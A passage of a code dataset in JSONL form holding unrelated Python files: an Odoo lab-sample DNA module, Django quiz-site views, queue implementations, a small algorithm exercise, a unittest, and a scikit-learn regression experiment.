openerp\nimport logging\nimport comm\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import except_orm, Warning, RedirectWarning\n\n_logger = logging.getLogger(__name__)\nclass dna(models.Model):\n _name = \"lims.samples.dna\"\n _description = \"DNA检测\"\n _order = \"dna_box,dna_namber\"\n\n @api.one\n @api.depends(\"parent_id\",\"parent_id.project\",\"parent_id.yybatch_no\",\"parent_id.package_trun\",\"parent_id.package\",\"parent_id.send_date\")\n def _get_sample_info(self):\n self.project = self.parent_id.project.id\n self.yybatch_no = self.parent_id.yybatch_no\n self.package_trun = self.parent_id.package_trun\n self.package = self.parent_id.package\n self.send_date = self.parent_id.send_date\n\n SELECT_STATE = [(\"draft\",u\"领取\"),('done',u\"完成\"),('invalid',u\"作废\"),('cancel',u\"取消\")]\n name = fields.Char(string=u\"样本ID/ext\", size=20)\n parent_id = fields.Many2one('lims.samples', string=u\"关联样本\", required=True)\n concentration = fields.Float(string=u\"浓度\", digits=dp.get_precision('Product Unit of Measure'), help=u\"参考值>=10\")\n state = fields.Selection(SELECT_STATE, string=u\"状态\", default='draft')\n create_date = fields.Datetime(u\"领取时间\",default=lambda self: fields.datetime.now())\n dna_date = fields.Datetime(u\"提取时间\")\n done_date = fields.Datetime(u\"完成时间\")\n user_id = fields.Many2one('res.users', string=u\"操作人员\",default=lambda self: self.env.user)\n name_trun = fields.Char(string=u\"样本转码编号\", size=20)\n c260_280 = fields.Float(string=u\"260/280\",digits=dp.get_precision('Product Unit of Measure'))\n c260_230 = fields.Float(string=u\"260/230\", digits=dp.get_precision('Product Unit of Measure'))\n dna_drawer = fields.Char(u\"DNA抽屉编号\",size=5)\n dna_box = fields.Char(u\"DNA盒号\",size=5)\n dna_namber = fields.Char(u\"DNA孔号\",size=5)\n dna_save = fields.Char(u\"存放人\",size=10)\n qubit_concent = fields.Float(string=u\"Qubit浓度\",digits=dp.get_precision('Product Unit of Measure'))\n note = fields.Char(u\"备注\",size=100)\n test_sample = fields.Boolean(u\"测试\",default=False)\n project = fields.Many2one(\"lims.base.project\",string=u\"检测目的\",store=True, readonly=True, compute='_get_sample_info')\n yybatch_no = fields.Char(u\"运营批次\", size=10,store=True, readonly=True, compute='_get_sample_info')\n package_trun = fields.Char(u\"套餐转码名称\", size=20,store=True, readonly=True, compute='_get_sample_info')\n package = fields.Char(u'套餐名称', size=20,store=True, readonly=True, compute='_get_sample_info')\n send_date = fields.Date(u\"送检日期\",store=True, readonly=True, compute='_get_sample_info')\n compos = fields.Boolean(u\"已排版\",default=lambda self:False)\n\n @api.v7\n def quickAdd(self,cr,uid,name,context=None):\n id = self.pool.get(\"lims.samples\").search(cr,uid,[(\"name\",\"=\",name)])\n if id:\n obj = self.pool.get(\"lims.samples\").browse(cr,uid,id,context=context)\n return self.create(cr,uid,{\"parent_id\":obj.id},context=context)\n else:\n raise except_orm(\"ERROR\",u\"该样本编号不存在。\")\n\n @api.v7\n def create(self,cr,uid,val,context=None):\n state = val.get(\"state\",\"draft\")\n if state in (\"draft\",\"done\"):\n c = self.search_count(cr,SUPERUSER_ID,[(\"parent_id\",\"=\",val.get(\"parent_id\")),(\"state\",\"in\",[\"draft\",\"done\"])])\n if c>0:\n raise except_orm(\"ERROR\",u\"该样本有正在进行中的检测,不可以重复新增。如果需要重做,请先取消之前的步骤。\")\n c = self.pool.get(\"lims.samples\").search_count(cr,uid,[(\"id\",\"=\",val.get(\"parent_id\")),(\"state\",\"in\",[\"draft\",\"cancel\"])])\n if c>0:\n raise except_orm(\"ERROR\",u\"该样本状态未确认接收或已取消,不可以进行该检测步骤。\")\n sample = self.pool.get(\"lims.samples\").browse(cr,SUPERUSER_ID,val.get(\"parent_id\"))\n c = self.search_count(cr,SUPERUSER_ID,[(\"parent_id\",\"=\",val.get(\"parent_id\"))])\n val[\"name\"] = sample.name+\"-\"+str(c+1)\n self.pool.get(\"lims.samples\").write(cr,uid,sample.id,{\"state\":\"dna\"})\n return super(dna,self).create(cr,uid,val,context=context)\n\n @api.v7\n def write(self,cr,uid,ids,val,context=None):\n if val.has_key(\"state\"):\n objs = self.browse(cr,uid,ids,context=context)\n sel = dict(self.SELECT_STATE)\n for obj in objs:\n self.pool.get(\"lims.samples\").write(cr,uid,obj.parent_id.id,{\"log\":[[0,0,{\"note\":\"DNA提取状态变更为:\"+sel.get(val['state']).decode(\"utf-8\")}]]})\n if val['state']=='cancel':\n prelibrary_ids = self.pool.get(\"lims.samples.prelibrary\").search(cr,uid,[(\"parent_id\",\"=\",obj.parent_id.id),(\"state\",\"in\",[\"draft\",\"done\"])])\n if prelibrary_ids:\n self.pool.get(\"lims.samples.prelibrary\").write(cr,uid,prelibrary_ids,{\"state\":\"cancel\"},context=context)\n prelibrary_ids = self.pool.get(\"lims.samples.library\").search(cr, uid,\n [(\"parent_id\", \"=\", obj.parent_id.id),\n (\"state\", \"in\", [\"draft\", \"done\"])])\n if prelibrary_ids:\n self.pool.get(\"lims.samples.library\").write(cr, uid, prelibrary_ids, {\"state\": \"cancel\"},\n context=context)\n return super(dna,self).write(cr,uid,ids,val,context=context)\n\n @api.v7\n def write_next_step_data(self,cr,uid,id,context=None):\n obj = self.browse(cr,uid,id,context=context)\n return {\n \"name\":obj.name,\n }\n\n @api.v7\n def action_test_sample(self,cr,uid,ids,context=None):\n self.write(cr,uid,ids,{\"test_sample\":True},context=context)\n\n @api.v7\n def action_state_confirm(self,cr,uid,ids,context=None):\n for i in ids:\n self.action_state_done(cr,uid,i,context=context)\n\n @api.v7\n def action_state_done(self,cr,uid,ids,context=None):\n obj = self.browse(cr,uid,ids,context=context)\n if obj.state!=\"draft\":return\n\n if not obj.concentration:\n raise except_orm(\"ERROR\",u\"未录入该样本浓度数据,不可以变更为完成状态。\")\n return self.write(cr,uid,ids,{\"done_date\":fields.datetime.now(),\"state\":\"done\"})\n\n @api.v7\n def action_state_cancel(self,cr,uid,ids,context=None):\n if not context:\n context = {}\n if context.get(\"wizard\"):\n vals = context.get(\"vals\")\n vals[\"state\"]=\"cancel\"\n self.write(cr,uid,ids,vals,context=context)\n else:\n return {\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'res_model': 'rhwl.lims.wizard',\n 'view_mode': 'form',\n 'name': u\"取消原因\",\n 'target': 'new',\n 'context': {'is_need_note': True,'_model_name':self._name,'_method_name':'action_state_cancel'},\n 'flags': {'form': {'action_buttons': False}}}\n\n @api.v7\n def excel_import_P01_header(self,cr,uid,context=None):\n return u\"序号,样本转码编号,日期和时间,浓度,260/280,260/230,套餐名称,DNA抽屉编号,DNA盒子号,DNA孔号,存放人\"\n\n #ISCAN平台DNA数据导入\n @api.v7\n def excel_import_P01(self,cr,uid,data,context=None):\n assert isinstance(data, (list, tuple)), \"Data is not List.\"\n if not data[1]: return\n if isinstance(data[1],(long,int,float)):\n data[1] = str(data[1].__trunc__())\n no = data[1].split(\"--\")[0].split(\"-\")[0].split(\"-\")[0]\n no = comm.float2str(no)\n id = self.pool.get(\"lims.samples\").search(cr, uid, [(\"name_trun\", \"=\", no)])\n if not id:\n raise except_orm(\"ERROR\", u'样本转码编号[%s]不存在。' % (no))\n\n dna_id = self.search(cr, uid, [(\"parent_id\", \"=\", id[0]), (\"state\", \"=\", \"draft\")])\n double_dna_id = self.search(cr, uid, [(\"parent_id\", \"=\", id[0]), (\"state\", \"=\", \"draft\"),(\"name_trun\",\"=\",comm.float2str(data[1]))])\n if dna_id:\n if double_dna_id:\n self.write(cr, uid, dna_id, {\"concentration\": data[3],\n \"c260_280\":data[4],\"c260_230\":data[5],\"dna_drawer\":comm.float2str(data[7]),\"dna_box\":comm.float2str(data[8]),\n \"dna_namber\":comm.float2str(data[9]),\"dna_save\":data[10]})\n else:\n dna_obj = self.browse(cr,uid,dna_id,context=context)\n val={\"name_trun\":comm.float2str(data[1]),\"parent_id\": id[0], \"concentration\": data[3],\n \"c260_280\":data[4],\"c260_230\":data[5],\"dna_drawer\":comm.float2str(data[7]),\"dna_box\":comm.float2str(data[8]),\n \"dna_namber\":comm.float2str(data[9]),\"dna_save\":data[10]}\n if dna_obj.concentration1:\n raise except_orm(\"ERROR\",u\"DNA样本管理中此样本编号[%s]存在多笔待处理记录。\"%(data[2]))\n self.write(cr,uid,dna_id,{\"qubit_concent\":max([data[4],data[6]]),\"note\":data[8]})","sub_path":"data/odoo/8.0/rhwl_lims/module/dna.py","file_name":"dna.py","file_ext":"py","file_size_in_byte":16334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"515171073","text":"from django.shortcuts import render, redirect\n\nfrom django.views.generic import DetailView, ListView\n\nfrom .models import Theme, Problem\nfrom log.models import Profile\n\n# Create your views here.\n\n\ndef ThemeListView(request):\n themes = Theme.objects.all()\n pro = Problem.objects.all()\n number = pro.count()\n solved = 0\n user_solver = 0\n logino = 0\n if request.user.is_authenticated:\n logino=123\n user_solver = str(request.user.id)\n solved = len([x for x in pro if user_solver in x.user_solver.split(',')])\n data = {'themes': themes,\n 'usero': user_solver,\n 'number': number,\n 'solved': solved,\n 'progress': int(solved / number * 100),\n 'logino': logino}\n return render(request, 'problems/theme_list.html', data)\n\n\ndef ThemeDetailView(request, id):\n theme = Theme.objects.get(id=id)\n pro = Problem.objects.filter(theme=theme)\n number = pro.count()\n solved = 0\n user_solver=0\n logino=0\n if request.user.is_authenticated:\n logino=123\n user_solver = str(request.user.id)\n solved = len([x for x in pro if user_solver in x.user_solver.split(',')])\n data = {'problems': pro,\n 'usero': user_solver,\n 'number': number,\n 'solved': solved,\n 'progress': int(solved/number*100),\n 'logino': logino,\n 'theme': theme}\n return render(request, 'problems/problem_list.html', data)\n\n\ndef ProblemDetailView(request, id):\n problem = Problem.objects.get(id=id)\n theme = Theme.objects.get(name=problem.theme)\n text = ''\n error = ''\n logino=0\n data = {'problem': problem,\n \"text\": text,\n 'error': error,\n 'logino': logino,\n 'theme': theme}\n\n if request.user.is_authenticated:\n logino=123\n if str(request.user.id) not in problem.user_solver:\n if request.method == \"POST\":\n answer = request.POST['answer']\n if answer == problem.answer:\n pro = Profile.objects.get(user=request.user.id)\n rate = pro.rate + problem.ball\n pro.rate = rate\n pro.save()\n user_solver = problem.user_solver + ',' + str(request.user.id)\n problem.user_solver = user_solver\n problem.save()\n text = \"Вы решили задачу правильно. Ваш рейтинг = %s XP\" % rate\n data = {'problem': problem,\n \"text\": text,\n 'error': error,\n 'logino': logino,\n 'theme': theme\n }\n return render(request, 'problems/problem.html', data)\n else:\n text = \"Ответ неверен\"\n data = {'problem': problem,\n \"text\": text,\n 'error': error,\n 'logino': logino,\n 'theme': theme\n }\n return render(request, 'problems/problem.html', data)\n\n else:\n data = {'problem': problem,\n \"text\": text,\n 'error': error,\n 'logino': logino,\n 'theme': theme\n }\n return render(request, 'problems/problem.html', data)\n else:\n error = \"Задача решена\"\n data = {'problem': problem,\n \"text\": text,\n 'error': error,\n 'logino': logino,\n 'theme': theme\n }\n return render(request, 'problems/problem.html', data)\n else:\n return redirect('login')","sub_path":"problems/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"173227577","text":"\"\"\"\r\nFile: queue.py\r\n\r\nQueue implementations\r\n\"\"\"\r\n\r\nclass ArrayQueue(object):\r\n \"\"\" Array-based queue implementation.\"\"\"\r\n\r\n DEFAULT_CAPACITY = 10 # Class variable applies to all queues\r\n \r\n def __init__(self):\r\n self._items = list()\r\n for count in range(ArrayQueue.DEFAULT_CAPACITY):\r\n self._items.append(None)\r\n self._rear = -1\r\n self._size = 0\r\n\r\n\r\n def enqueue(self, newItem):\r\n \"\"\"Adds newItem to the rear of queue.\r\n Precondition: the queue is not full.\"\"\"\r\n if self.isFull():\r\n print (\"Queue is full. Abort operation!!\")\r\n return \"\"\r\n else:\r\n # newItem goes at logical end of array\r\n self._rear += 1\r\n self._size += 1\r\n self._items[self._rear] = newItem\r\n\r\n\r\n def dequeue(self):\r\n \"\"\"Removes and returns the item at front of the queue.\r\n Precondition: the queue is not empty.\"\"\"\r\n if self.isEmpty():\r\n print (\"Queue is empty. Abort operation!!\")\r\n return \"\"\r\n else:\r\n oldItem = self._items[0]\r\n for i in range(len(self) - 1):\r\n self._items[i] = self._items[i + 1]\r\n self._rear -= 1\r\n self._size -= 1\r\n return oldItem\r\n\r\n\r\n def peek(self):\r\n \"\"\"Returns the item at front of the queue.\r\n Precondition: the queue is not empty.\"\"\"\r\n if self.isEmpty():\r\n print (\"Queue is empty. Abort operation!!\")\r\n return \"\"\r\n else:\r\n return self._items[0]\r\n\r\n\r\n def __len__(self):\r\n \"\"\"Returns the number of items in the queue.\"\"\"\r\n return self._size\r\n\r\n\r\n def isEmpty(self):\r\n return (len(self) == 0)\r\n\r\n\r\n def isFull(self):\r\n return (self._size == ArrayQueue.DEFAULT_CAPACITY)\r\n\r\n\r\n def __str__(self):\r\n \"\"\"Items strung from front to rear.\"\"\"\r\n result = \"\"\r\n for i in range(len(self)):\r\n result += str(self._items[i]) + \" \"\r\n return result\r\n\r\n\r\n#----------------------------------------------------------------------#\r\n \r\nclass Node(object):\r\n\r\n def __init__(self, data, next = None):\r\n \"\"\"Instantiates a Node with default next of None\"\"\"\r\n self.data = data\r\n self.next = next\r\n\r\n\r\nclass LinkedQueue(object):\r\n \"\"\" Link-based queue implementation.\"\"\"\r\n\r\n def __init__(self):\r\n self._front = None\r\n self._rear = None\r\n self._size = 0\r\n\r\n\r\n def enqueue(self, newItem):\r\n \"\"\"Adds newItem to the rear of queue.\"\"\"\r\n newNode = Node(newItem, None)\r\n if self.isEmpty():\r\n self._front = newNode\r\n else:\r\n self._rear.next = newNode\r\n self._rear = newNode \r\n self._size += 1\r\n\r\n\r\n def dequeue(self):\r\n \"\"\"Removes and returns the item at front of the queue.\r\n Precondition: the queue is not empty.\"\"\"\r\n if self.isEmpty(): \r\n print (\"Queue is empty. Abort operation!!\")\r\n return \"\"\r\n else:\r\n oldItem = self._front.data\r\n self._front = self._front.next\r\n if self._front is None:\r\n self._rear = None\r\n self._size -= 1\r\n return oldItem\r\n\r\n\r\n def peek(self):\r\n \"\"\"Returns the item at front of the queue.\r\n Precondition: the queue is not empty.\"\"\"\r\n if self.isEmpty(): \r\n print (\"Queue is empty. Abort operation!!\")\r\n return \"\"\r\n else:\r\n return self._front.data\r\n\r\n\r\n def __len__(self):\r\n \"\"\"Returns the number of items in the queue.\"\"\"\r\n return self._size\r\n\r\n\r\n def isEmpty(self):\r\n return len(self) == 0\r\n\r\n\r\n def __str__(self):\r\n \"\"\"Items strung from front to rear.\"\"\"\r\n result = \"\"\r\n probe = self._front\r\n while probe != None:\r\n result += str(probe.data) + \" \"\r\n probe = probe.next\r\n return result\r\n\r\n#------------------------------------------------------------------#\r\n\r\ndef main():\r\n # Test either implementation with same code\r\n q = ArrayQueue()\r\n #q = LinkedQueue()\r\n print (\"Length:\", len(q))\r\n print (\"Empty:\", q.isEmpty())\r\n print (\"Enqueue 1-10\")\r\n for i in range(10):\r\n q.enqueue(i + 1)\r\n print (\"Peeking:\", q.peek())\r\n print (\"Items (front to rear):\", q)\r\n print (\"Length:\", len(q))\r\n print (\"Empty:\", q.isEmpty())\r\n print (\"Enqueue 11\")\r\n q.enqueue(11)\r\n print (\"Dequeuing items (front to rear):\", end = ' ')\r\n while not q.isEmpty(): print (q.dequeue(), end = ' ')\r\n print (\"\\nLength:\", len(q))\r\n print (\"Empty:\", q.isEmpty())\r\n input('\\nPlease press Enter or Return to quit the program.')\r\n\r\n\r\nif __name__ == '__main__': \r\n main()\r\n","sub_path":"queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":4797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"3885099","text":"import sys\nsys.stdin = open('input6.txt')\n\nfor tc in range(1, int(input())+1):\n binary = input()\n ternary = input()\n bin_list = []\n ans = 0\n for i in range(len(binary)):\n if binary[i] == '1':\n temp = '0'\n else:\n temp = '1'\n bin_list.append(int(binary[:i] + temp + binary[i+1:], 2))\n for j in range(len(ternary)):\n for k in range(3):\n if ternary[j] == str(k):\n pass\n ter_num = int(ternary[:j] + str(k) + ternary[j+1:], 3)\n if ter_num in bin_list:\n ans = ter_num\n print('#{} {}'.format(tc, ans))","sub_path":"Algorithm/SWEA/알고리즘응용/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"296809713","text":"from unittest import TestCase\n\n\nclass TestDonationsDBBenchData(TestCase):\n\n def test_instantiate(self):\n\n from BenchData import DonationsDBBenchData\n from MyDate import MyDate\n\n donations_db = DonationsDBBenchData().data\n self.assertEqual(6, len(donations_db))\n\n def __test_equal_donations(email: str, dates: list, amounts: list):\n from BenchData import DonationsDBBenchData\n\n donations_bench = DonationsDBBenchData()\n donations_raw_data = donations_bench.get_donations_list_from_raw_data(email=email,\n donation_dates=dates,\n donation_amounts=amounts)\n donations_from_bench_db = donations_bench.get_donations_list_from_bench_db(email=email)\n self.assertListEqual(donations_raw_data, donations_from_bench_db)\n\n # ---- Charles Ives ----\n email = \"charles.ives@centralparkinthedark.com\"\n donation_dates = [MyDate(2012, 4, 12), MyDate(2014, 2, 8)]\n amounts = [[567, 1000], 7654]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n\n # ---- Jean S Bach ----\n email = \"js.bach@google.com\"\n donation_dates = [MyDate(2014, 8, 6), MyDate(2011, 12, 25), MyDate(2016, 4, 1)]\n amounts = [2897, 4567, 876]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n\n # ---- Lee Morgan ----\n email = \"lee.morgan@jazzmessengers.com\"\n donation_dates = [MyDate(2015, 10, 23), MyDate(2016, 10, 14)]\n amounts = [3567, 7167]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n\n # ---- Miles Davis ----\n email = \"miles.davis@myself.com\"\n donation_dates = [MyDate(2011, 5, 19)]\n amounts = [[67000, 15000]]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n\n # ---- Wynton Kelly ----\n email = \"wynton.kelly@quintet.com\"\n donation_dates = [MyDate(2009, 2, 24), MyDate(2007, 6, 18), MyDate(2013, 4, 5)]\n amounts = [7894, 6666, 657]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n\n # ---- Eliane Radigue ----\n email = \"eliane.radigue@ircam.com\"\n donation_dates = [MyDate(2016, 1, 7)]\n amounts = [8000]\n __test_equal_donations(email=email,\n dates=donation_dates,\n amounts=amounts)\n","sub_path":"stricher/week_10/mailroom/test_DonationsDBBenchData.py","file_name":"test_DonationsDBBenchData.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"239291530","text":"\r\n\r\nimport sys\r\nsys.path.append('C:\\\\Users\\\\9888120\\\\Desktop\\\\My codes\\\\utility.py')\r\nsys.path.append('C:\\\\Users\\\\9888120\\\\Desktop\\\\My codes\\\\load_MasterDictionary.py')\r\nsys.path.append('C:\\\\Users\\\\9888120\\\\Desktop\\\\My codes\\\\word_analysis.py')\r\nsys.path.append('C:\\\\Users\\\\9888120\\\\Desktop\\\\My codes\\\\dictionary.py')\r\nsys.path.append('C:\\\\Users\\\\9888120\\\\Desktop\\\\My codes\\\\fgindicator.py')\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.model_selection import train_test_split, cross_val_score, GridSearchCV,learning_curve\r\n\r\n\r\n\r\n\r\nimport pickle\r\n\r\ncount_tf_nd = pickle.load( open( \"count_tf_nd.p\", \"rb\" ) )\r\ndf_label = pickle.load( open( \"df_label.p\", \"rb\" ) )\r\ndf_names = pickle.load( open( \"df_names.p\", \"rb\" ) )\r\nrate_change = pickle.load( open( \"rate_change.p\", \"rb\" ) )\r\n\r\n\r\nfrom sklearn.metrics import classification_report, roc_auc_score, auc,roc_curve, mean_squared_error\r\nfrom sklearn.model_selection import ParameterGrid\r\nfrom sklearn.svm import SVR\r\n\r\nimport random\r\nseed = 199\r\nrandom.seed(seed)\r\n\r\n\r\nindices= range(len(count_tf_nd))\r\n\r\n#X_train, X_test, y_train, y_test, idx_train, idx_test = train_test_split(count_tf_nd,rate_change.values, indices, train_size=0.8, random_state=seed, shuffle = True)\r\nX_train, X_test, y_train, y_test, idx_train, idx_test = train_test_split(count_tf_nd,rate_change.values, indices, train_size=0.8, random_state=seed, shuffle = False)\r\n\r\n#X_train, X_test, y_train, y_test = train_test_split(count_tf_nd,rate_change.values, train_size=0.8, random_state=seed)\r\n\r\nsvr = GridSearchCV(SVR(kernel='linear'), cv=10,\r\n param_grid={\"C\": np.logspace(-3, 3, 10)})\r\n\r\n#svr = GridSearchCV(SVR(kernel='rbf', gamma=0.1), cv=10,\r\n # param_grid={\"C\": np.logspace(-3, 3, 10),\r\n # \"gamma\": np.logspace(-2, 2, 5)})\r\n\r\nsvr = GridSearchCV(SVR(kernel='rbf', gamma=0.1), cv=10,\r\n param_grid={\"C\": np.logspace(-3, 3, 10)})\r\n\r\n\r\nsvr.fit(X_train, y_train)\r\nsvr.best_params_\r\n\r\nfrom sklearn.kernel_ridge import KernelRidge\r\nkr = GridSearchCV(KernelRidge(kernel='linear'), cv=10,\r\n param_grid={\"alpha\": np.logspace(-3, 3, 10)})\r\n\r\n\r\nkr = GridSearchCV(KernelRidge(kernel='rbf', gamma=0.1), cv=10,\r\n param_grid={\"alpha\": [1e0, 0.1, 1e-2, 1e-3],\r\n \"gamma\": np.logspace(-2, 2, 5)})\r\n\r\n\r\nkr.fit(X_train, y_train)\r\nkr.best_params_\r\n\r\n\r\nfrom sklearn.ensemble import RandomForestRegressor\r\n\r\nrf = GridSearchCV(RandomForestRegressor(), cv=10,\r\n param_grid={'n_estimators': [5, 10, 15, 20, 50, 100]})\r\n\r\nrf.fit(X_train, y_train)\r\nrf.best_params_\r\n\r\n\r\n\r\nfrom sklearn import linear_model\r\nlassocv = linear_model.LassoCV()\r\nlassocv.fit(X_train, y_train)\r\nlassocv_score = lassocv.score(X, y)\r\nlassocv_alpha = lassocv.alpha_\r\nprint('CV', lassocv.coef_)\r\n\r\n\r\n\r\n\r\n\r\nfrom scipy.integrate import simps\r\ndef REC(y_true, y_pred):\r\n # initilizing the lists\r\n Accuracy = []\r\n\r\n # initializing the values for Epsilon\r\n Begin_Range = 0\r\n End_Range = 1.5\r\n Interval_Size = 0.01\r\n\r\n # List of epsilons\r\n Epsilon = np.arange(Begin_Range, End_Range, Interval_Size)\r\n\r\n # Main Loops\r\n for i in range(len(Epsilon)):\r\n count = 0.0\r\n for j in range(len(y_true)):\r\n if np.linalg.norm(y_true[j] - y_pred[j]) / np.sqrt(\r\n np.linalg.norm(y_true[j]) ** 2 + np.linalg.norm(y_pred[j]) ** 2) < Epsilon[i]:\r\n count = count + 1\r\n\r\n Accuracy.append(count / len(y_true))\r\n\r\n # Calculating Area Under Curve using Simpson's rule\r\n AUC = simps(Accuracy, Epsilon) / End_Range\r\n\r\n # returning epsilon , accuracy , area under curve\r\n return Epsilon, Accuracy, AUC\r\n\r\n\r\n\r\ny_pred = svr.predict(X_test)\r\ny_pred = kr.predict(X_test)\r\ny_pred = rf.predict(X_test)\r\ny_pred = lassocv.predict(X_test)\r\n\r\nDeviation , Accuracy, AUC = REC(y_test , y_pred)\r\n\r\nfrom sklearn.metrics import r2_score\r\nRR = r2_score(y_test , y_pred)\r\n\r\n# Plotting\r\nplt.figure(figsize=(14 , 8))\r\n\r\nplt.subplot(1, 2, 1)\r\nplt.scatter(y_test, y_pred,color = \"darkorange\")\r\nplt.xlabel(\"Measured\")\r\nplt.ylabel(\"Predicted\")\r\nplt.plot([y_test.min(), y_test.max()], [y_test.min(), y_test.max()], 'k--', lw=4)\r\nplt.text(45, -5, r\"$R^2 = %0.4f$\" %RR , fontsize=15)\r\n\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.title(\"Regression Error Characteristic (REC)\")\r\nplt.plot(Deviation, Accuracy, \"--b\",lw =3)\r\nplt.xlabel(\"Deviation\")\r\nplt.ylabel(\"Accuracy (%)\")\r\nplt.text(1.1, 0.07, \"AUC = %0.4f\" %AUC , fontsize=15)\r\n\r\n\r\nplt.show()\r\n\r\n\r\n\r\ny_pred = svr.predict(X_train)\r\ny_pred = kr.predict(X_train)\r\ny_pred = rf.predict(X_train)\r\ny_pred = lassocv.predict(X_train)\r\n\r\n\r\nDeviation , Accuracy, AUC = REC(y_train , y_pred)\r\n\r\nfrom sklearn.metrics import r2_score\r\nRR = r2_score(y_train , y_pred)\r\n\r\n# Plotting\r\nplt.figure(figsize=(14 , 8))\r\n\r\nplt.subplot(1, 2, 1)\r\nplt.scatter(y_train, y_pred,color = \"darkorange\")\r\nplt.xlabel(\"Measured\")\r\nplt.ylabel(\"Predicted\")\r\nplt.plot([y_train.min(), y_train.max()], [y_train.min(), y_train.max()], 'k--', lw=4)\r\nplt.text(45, -5, r\"$R^2 = %0.4f$\" %RR , fontsize=15)\r\n\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.title(\"Regression Error Characteristic (REC)\")\r\nplt.plot(Deviation, Accuracy, \"--b\",lw =3)\r\nplt.xlabel(\"Deviation\")\r\nplt.ylabel(\"Accuracy (%)\")\r\nplt.text(1.1, 0.07, \"AUC = %0.4f\" %AUC , fontsize=15)\r\n\r\n\r\nplt.show()\r\n\r\ndata_to_plot =pd.DataFrame(rate_change.iloc[idx_test])\r\ndata_to_plot['prediction'] = y_pred\r\n\r\n\r\nplt.plot(data_to_plot['6_month_change'], 'b-', label = 'actual')\r\n\r\nplt.plot(data_to_plot['prediction'] , 'ro', label = 'prediction',markersize=2)\r\nplt.legend()\r\n'''\r\n\r\n\r\ntrain_sizes, train_scores_svr, test_scores_svr = \\\r\n learning_curve(svr, X_train, y_train, train_sizes=np.linspace(0.1, 1, 10),\r\n scoring=\"neg_mean_squared_error\", cv=10)\r\n\r\nplt.figure()\r\nplt.plot(train_sizes, -test_scores_svr.mean(1), 'o-', color=\"r\",\r\n label=\"SVR\")\r\nplt.show()\r\n\r\n\r\nmean_squared_error(y_prec, y_train)\r\n'''","sub_path":"Project word represent bow regression.py","file_name":"Project word represent bow regression.py","file_ext":"py","file_size_in_byte":5994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"50005484","text":"## 1. Introduction ##\n\nimport pandas as pd\n\nhouses = pd.read_table('AmesHousing_1.txt')\n\nscale_land = 'ordinal'\nscale_roof = 'nominal'\nkitchen_variable = 'discrete'\n\n## 2. The Mode for Ordinal Variables ##\n\ndef calculate_mode(lov):\n vals = {}\n for x in lov:\n if x not in vals:\n vals[x] = 0\n vals[x] += 1\n return max(vals, key=vals.get)\n\nmode_function = calculate_mode(houses['Land Slope'].tolist())\nmode_method = houses['Land Slope'].mode()\nsame = mode_function == mode_method\n\n## 3. The Mode for Nominal Variables ##\n\ndef calculate_mode_with_counts(lov):\n vals = {}\n for x in lov:\n if x not in vals:\n vals[x] = 0\n vals[x] += 1\n return (max(vals, key=vals.get), vals)\n\nmode, value_counts = calculate_mode_with_counts(houses['Roof Style'].tolist())\nhouses['Roof Style'].value_counts()\n\n\n## 4. The Mode for Discrete Variables ##\n\nhouses['Bedroom AbvGr']\n\nbedroom_variable = 'discrete'\nbedroom_mode = houses['Bedroom AbvGr'].mode()\n\nhouses['SalePrice']\nprice_variable = 'continuous'\nprice_mode = houses['SalePrice'].mode()\n\n## 5. Special Cases ##\n\nintervals = pd.interval_range(start = 0, end = 800000, freq = 100000)\ngr_freq_table = pd.Series([0,0,0,0,0,0,0,0], index = intervals)\n\nfor value in houses['SalePrice']:\n for interval in intervals:\n if value in interval:\n gr_freq_table.loc[interval] += 1\n break\n\nprint(gr_freq_table)\n\ninterval_max = gr_freq_table.idxmax()\nmode = int(interval_max.left + (interval_max.right - interval_max.left) / 2)\n\n\nmean = houses['SalePrice'].mean()\nmedian = houses['SalePrice'].median()\nsentence_1 = True\nsentence_2 = True\n\n## 6. Skewed Distributions ##\n\ndistribution_1 = {'mean': 3021 , 'median': 3001, 'mode': 2947}\ndistribution_2 = {'median': 924 , 'mode': 832, 'mean': 962}\ndistribution_3 = {'mode': 202, 'mean': 143, 'median': 199}\n\nshape_1 = 'right skew'\nshape_2 = 'right skew'\nshape_3 = 'left skew'\n\n## 7. Symmetrical Distributions ##\n\nhouses['Mo Sold'].plot.kde(xlim=(1, 12))\n\nplt.axvline(houses['Mo Sold'].mode().iloc[0], label='Mode', color='Green')\nplt.axvline(houses['Mo Sold'].median(), label='Median', color='Orange')\nplt.axvline(houses['Mo Sold'].mean(), label='Mean', color='Black')\nplt.legend()\n","sub_path":"16. Statistics Intermediate Averages and Variability/The Mode-307.py","file_name":"The Mode-307.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"177195065","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom core.settings import IMAGE_ROOT, IMAGE_USER_URL, IMAGE_GROUP_URL, IMAGE_PERSONAL_JOURNEY_URL, IMAGE_GROUP_JOURNEY_URL, IMAGE_OTHER_URL\nfrom core import fcm\nfrom users.models import *\nfrom django.shortcuts import render\nfrom django.http import JsonResponse, HttpResponse\nfrom django.core.mail import EmailMessage\nfrom django.db import transaction\nimport datetime\nimport json\nimport 